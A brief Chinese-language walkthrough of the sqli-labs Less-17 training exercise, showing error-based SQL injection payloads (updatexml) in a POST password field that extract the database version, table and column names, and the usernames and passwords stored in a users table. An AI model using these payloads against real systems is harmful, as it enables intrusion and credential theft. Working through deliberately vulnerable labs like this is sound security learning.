sqli-labs（17）

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

各种尝试一番，发现注入点在password处

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

套路都差不多了，开始爆表名

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 4,1),0x5c),1))#submit=submit

爆破列名

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' limit 6,1),0x5c),1))#submit=submit

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' limit 7,1),0x5c),1))#submit=submit

把字段名爆了

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select group_concat(username,password) from security.users ),0x5c),1))#submit=submit

思路没有错呀，这个肯定还有坑

语句都是正确的，搞的我一度怀疑人生，容我稍后来踩坑